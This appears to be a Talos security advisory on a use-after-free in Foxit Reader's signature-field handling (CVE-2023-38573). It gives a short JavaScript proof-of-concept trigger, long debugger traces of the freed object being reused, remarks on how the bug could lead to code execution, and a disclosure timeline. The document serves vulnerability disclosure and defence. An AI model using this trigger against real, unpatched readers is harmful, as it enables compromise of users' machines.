CVE-2023-38573
A use-after-free vulnerability exists in the way Foxit Reader 12.1.2.15356 handles a signature field. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.3.15356
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles a signature object. This can be illustrated by the following proof-of-concept code:
function main() {
getField('Signature_0').setAction("OnBlur",'dp();');
getField('Signature_0').setFocus();
app.activeDocs[0].getField('Text Field0').setFocus();
}
function dp() {
app.activeDocs[0].deletePages();
app.activeDocs[0].deletePages();
}
The above code simply assigns a callback function to the OnBlur
action for the field Signature_0
, which is promptly triggered by a call to setFocus
on the field. In the action callback, all that happens is a call to deletePages
, which in turn ends up freeing all the objects associated with a page. The use-after-free vulnerability occurs when a signature
object is freed by deletePages()
and is used without any validation. We can observe the following in the debugger (with PageHeap enabled):
0:000> g
Breakpoint 0 hit
eax=073fefb0 ebx=073ff01c ecx=0289e7c0 edx=00000002 esi=0ea58f40 edi=0c212748
eip=02bc2d39 esp=073fef88 ebp=073fefc8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02bc2d39 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf11060 (0289e7c0)}
0:000> g
Breakpoint 0 hit
eax=073fefa8 ebx=073ff014 ecx=028fec20 edx=00000002 esi=0e94adc8 edi=0e4def80
eip=02bc2d39 esp=073fef80 ebp=073fefc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02bc2d39 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf714c0 (028fec20)}
0:000> g
Breakpoint 0 hit
eax=073fefb0 ebx=073ff01c ecx=0289e7c0 edx=00000002 esi=0c112108 edi=0c1632b0
eip=02bc2d39 esp=073fef88 ebp=073fefc8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02bc2d39 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf11060 (0289e7c0)}
0:000> g
Breakpoint 0 hit
eax=073fefb0 ebx=073ff01c ecx=028feee0 edx=00000002 esi=0c24a958 edi=0c2c96d8
eip=02bc2d39 esp=073fef88 ebp=073fefc8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02bc2d39 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf71780 (028feee0)}
0:000> g
Breakpoint 0 hit
eax=073fefb0 ebx=073ff01c ecx=0289e7c0 edx=00000002 esi=0c2aff10 edi=0feb0dd0
eip=02bc2d39 esp=073fef88 ebp=073fefc8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02bc2d39 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf11060 (0289e7c0)}
0:000> g
Breakpoint 0 hit
eax=073fefb0 ebx=073ff01c ecx=028feee0 edx=00000002 esi=0e72ef60 edi=0c0e3dd0
eip=02bc2d39 esp=073fef88 ebp=073fefc8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!FXJSE_GetClass+0x269:
02bc2d39 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf71780 (028feee0)}
0:000> g
Breakpoint 0 hit
eax=073fea10 ebx=073fea7c ecx=0289c6c0 edx=00000002 esi=0c405408 edi=0ea4ccd0
eip=02bc2d39 esp=073fe9e8 ebp=073fea28 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02bc2d39 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf0ef60 (0289c6c0)} ; <-----------------[1]
0:000> g
Breakpoint 0 hit
eax=073fea10 ebx=073fea7c ecx=0289c6c0 edx=00000002 esi=08857530 edi=0ea8a9c8
eip=02bc2d39 esp=073fe9e8 ebp=073fea28 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!FXJSE_GetClass+0x269:
02bc2d39 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf0ef60 (0289c6c0)}
0:000> g
Breakpoint 1 hit
eax=073fe854 ebx=0c083100 ecx=0c083100 edx=00000001 esi=0b0e2748 edi=0c083100
eip=00802563 esp=073fe838 ebp=073fe860 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3d823:
00802563 c745fc0c000000 mov dword ptr [ebp-4],0Ch ss:0023:073fe85c=ffffffff
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=00000014 ecx=18ab8188 edx=00000001 esi=1067cf08 edi=0c083100
eip=008027a9 esp=073fe838 ebp=073fe860 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3da69:
008027a9 c745fcffffffff mov dword ptr [ebp-4],0FFFFFFFFh ss:0023:073fe85c=ffffffff
0:000> pc
eax=00000000 ebx=00000014 ecx=0c2dac18 edx=00000001 esi=1067cf08 edi=0c083100
eip=008027c3 esp=073fe830 ebp=073fe860 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3da83:
008027c3 e86a389f03 call FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4702 (041f6032)
0:000> pt
eax=00000001 ebx=0c083100 ecx=1f281c24 edx=00000001 esi=0b0e2748 edi=0ea98c10
eip=008027dc esp=073fe864 ebp=073fe888 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x3da9c:
008027dc c3 ret
0:000> p
eax=00000001 ebx=0c083100 ecx=1f281c24 edx=00000001 esi=0b0e2748 edi=0ea98c10
eip=007e2dfd esp=073fe868 ebp=073fe888 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x1e0bd:
007e2dfd 689c000000 push 9Ch
0:000> p
eax=00000001 ebx=0c083100 ecx=1f281c24 edx=00000001 esi=0b0e2748 edi=0ea98c10
eip=007e2e02 esp=073fe864 ebp=073fe888 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x1e0c2:
007e2e02 53 push ebx ;< --------------------------------------[2]
0:000> p
eax=00000001 ebx=0c083100 ecx=1f281c24 edx=00000001 esi=0b0e2748 edi=0ea98c10
eip=007e2e03 esp=073fe860 ebp=073fe888 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x1e0c3:
007e2e03 e82a32a103 call FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4702 (041f6032);< -------------[3]
0:000> dd ebx ;< --------------------------------------[4]
0c083100 055d9c84 0c2dac18 0552f10c 18ab8188
0c083110 00000000 00000001 00000000 0c33b278
0c083120 00000000 00000000 00000000 00000000
0c083130 00000000 00000000 00000000 00000000
0c083140 0ae31290 00000000 00000000 e0e0e000
0c083150 00000000 00000000 00000000 00000000
0c083160 00000000 e0e0e000 00000000 00000000
0c083170 00000000 00000000 00000000 00000010
0:000> p
eax=00000001 ebx=0c083100 ecx=0c083100 edx=00000001 esi=0b0e2748 edi=0ea98c10
eip=007e2e08 esp=073fe860 ebp=073fe888 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x1e0c8:
007e2e08 83c408 add esp,8
0:000> dd 0c083100 ;< --------------------------------------[5]
0c083100 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
0c083110 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
0c083120 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
0c083130 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
0c083140 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
0c083150 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
0c083160 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
0c083170 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
0:000> p
eax=00000001 ebx=0c083100 ecx=0c083100 edx=00000001 esi=0b0e2748 edi=0ea98c10
eip=007e2e0b esp=073fe868 ebp=073fe888 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x1e0cb:
007e2e0b 6a18 push 18h
At [1]
above, the method associated with deletePages()
is called. This method calls a free
function at [3]
and the argument of the function comes from the ebx
register at [2]
. The value of the vulnerable buffer is examined at [4]
, and [5]
shows the value before and after the free function is called. The vulnerable buffer is a signature
object, which is later used without any validation. This can be observed in a debugger at the time of the crash:
0:000> p
eax=00000001 ebx=0c083101 ecx=073ff45c edx=0ff95368 esi=0c0d3418 edi=0e7641d8
eip=01947901 esp=073ff430 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104b1:
01947901 e84a1e5700 call FoxitPDFReader!safe_vsnprintf+0x52bff0 (01eb9750)
0:000> p
eax=00000000 ebx=0c083101 ecx=07500000 edx=07500000 esi=0c0d3418 edi=0e7641d8
eip=01947906 esp=073ff430 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104b6:
01947906 8ac3 mov al,bl
0:000> p
eax=00000001 ebx=0c083101 ecx=07500000 edx=07500000 esi=0c0d3418 edi=0e7641d8
eip=01947908 esp=073ff430 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104b8:
01947908 8b4df4 mov ecx,dword ptr [ebp-0Ch] ss:0023:073ff448=073ff498
0:000> p
eax=00000001 ebx=0c083101 ecx=073ff498 edx=07500000 esi=0c0d3418 edi=0e7641d8
eip=0194790b esp=073ff430 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104bb:
0194790b 64890d00000000 mov dword ptr fs:[0],ecx fs:003b:00000000=073ff448
0:000> p
eax=00000001 ebx=0c083101 ecx=073ff498 edx=07500000 esi=0c0d3418 edi=0e7641d8
eip=01947912 esp=073ff430 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104c2:
01947912 59 pop ecx
0:000> p
eax=00000001 ebx=0c083101 ecx=1f280010 edx=07500000 esi=0c0d3418 edi=0e7641d8
eip=01947913 esp=073ff434 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104c3:
01947913 5f pop edi
0:000> p
eax=00000001 ebx=0c083101 ecx=1f280010 edx=07500000 esi=0c0d3418 edi=0c0d3418
eip=01947914 esp=073ff438 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104c4:
01947914 5e pop esi
0:000> p
eax=00000001 ebx=0c083101 ecx=1f280010 edx=07500000 esi=0e7641d8 edi=0c0d3418
eip=01947915 esp=073ff43c ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104c5:
01947915 5b pop ebx
0:000> p
eax=00000001 ebx=0c083100 ecx=1f280010 edx=07500000 esi=0e7641d8 edi=0c0d3418
eip=01947916 esp=073ff440 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104c6:
01947916 8be5 mov esp,ebp
0:000> p
eax=00000001 ebx=0c083100 ecx=1f280010 edx=07500000 esi=0e7641d8 edi=0c0d3418
eip=01947918 esp=073ff454 ebp=073ff454 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104c8:
01947918 5d pop ebp
0:000> p
eax=00000001 ebx=0c083100 ecx=1f280010 edx=07500000 esi=0e7641d8 edi=0c0d3418
eip=01947919 esp=073ff458 ebp=073ff4a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5104c9:
01947919 c20400 ret 4
0:000> p
eax=00000001 ebx=0c083100 ecx=1f280010 edx=07500000 esi=0e7641d8 edi=0c0d3418
eip=00e00af8 esp=073ff460 ebp=073ff4a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e6258:
00e00af8 84c0 test al,al
0:000> p
eax=00000001 ebx=0c083100 ecx=1f280010 edx=07500000 esi=0e7641d8 edi=0c0d3418
eip=00e00afa esp=073ff460 ebp=073ff4a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e625a:
00e00afa 0f84fa010000 je FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e645a (00e00cfa) [br=0]
0:000> p
eax=00000001 ebx=0c083100 ecx=1f280010 edx=07500000 esi=0e7641d8 edi=0c0d3418
eip=00e00b00 esp=073ff460 ebp=073ff4a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e6260:
00e00b00 8b13 mov edx,dword ptr [ebx] ds:0023:0c083100=f0f0f0f0 <------------------ [6]
0:000> p
eax=00000001 ebx=0c083100 ecx=1f280010 edx=f0f0f0f0 esi=0e7641d8 edi=0c0d3418
eip=00e00b02 esp=073ff460 ebp=073ff4a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e6262:
00e00b02 8bcb mov ecx,ebx
0:000> p
eax=00000001 ebx=0c083100 ecx=0c083100 edx=f0f0f0f0 esi=0e7641d8 edi=0c0d3418
eip=00e00b04 esp=073ff460 ebp=073ff4a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e6264:
00e00b04 ff12 call dword ptr [edx] ds:0023:f0f0f0f0=???????? <----------------- [7]
0:000> p
(7c0.1c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0c083100 ecx=0c083100 edx=f0f0f0f0 esi=0e7641d8 edi=0c0d3418
eip=00e00b04 esp=073ff460 ebp=073ff4a4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e6264:
00e00b04 ff12 call dword ptr [edx] ds:0023:f0f0f0f0=????????
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 073ff4a4 007ccc85 0e7641d8 1f28009c 189d323c FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e6264
01 073ff4d8 007cca14 00000000 1f280178 7fffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7f45
02 073ff53c 009651d1 0e80ccb0 0ae34ce0 009651a0 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7cd4
03 073ff550 040127a8 0e81da98 00000000 1f280264 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626c1
04 073ff620 04013983 00000427 0e81da98 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0e78
05 073ff644 0400e327 00000427 0e81da98 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d2053
06 073ff6b8 0400eb9a 0eb1d1e8 001604f2 00000427 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cc9f7
07 073ff6d8 77033cb7 001604f2 00000427 0e81da98 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd26a
08 073ff704 770140dc 0400eb66 001604f2 00000427 USER32!_InternalCallWinProc+0x2b
09 073ff7ec 77013bd3 001604f2 00000427 0e81da98 USER32!UserCallWinProcCheckWow+0x26c
0a 073ff85c 770139f0 00000327 073ff884 008ed3c4 USER32!DispatchMessageWorker+0x1d3
0b 073ff868 008ed3c4 088927a0 088927a0 05e73738 USER32!DispatchMessageW+0x10
0c 073ff884 008ed483 05e73738 008ed3f0 ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128684
0d 073ff8a4 0443021e 00000000 05e9fab4 074ff000 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128743
0e 073ff8bc 041f5f48 004d0000 00000000 08831f0c FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5ee8ee
0f 073ff908 76c2d109 074ff000 76c2d0f0 073ff974 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4618
10 073ff918 778f24ed 074ff000 9887f4a8 00000000 KERNEL32!BaseThreadInitThunk+0x19
11 073ff974 778f24c1 ffffffff 77975e66 00000000 ntdll!__RtlUserThreadStart+0x2b
12 073ff984 00000000 041f6017 074ff000 00000000 ntdll!_RtlUserThreadStart+0x1b
At [6]
above, we can observe ebx
contains the same memory pointer, which belongs to a freed allocation. The value in ebx
is dereferenced as if it were an object pointer. This directly leads to a use-after-free condition and results in a crash. Subsequent instructions constitute the usual vtable
function call, with the actual function pointer coming from an area pointed to by ebx
. This would give an attacker direct control over execution control flow.
Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.
2023-09-18 - Vendor Disclosure
2023-11-22 - Vendor Patch Release
2023-11-27 - Public Release
Discovered by Aleksandar Nikolic and KPC of Cisco Talos.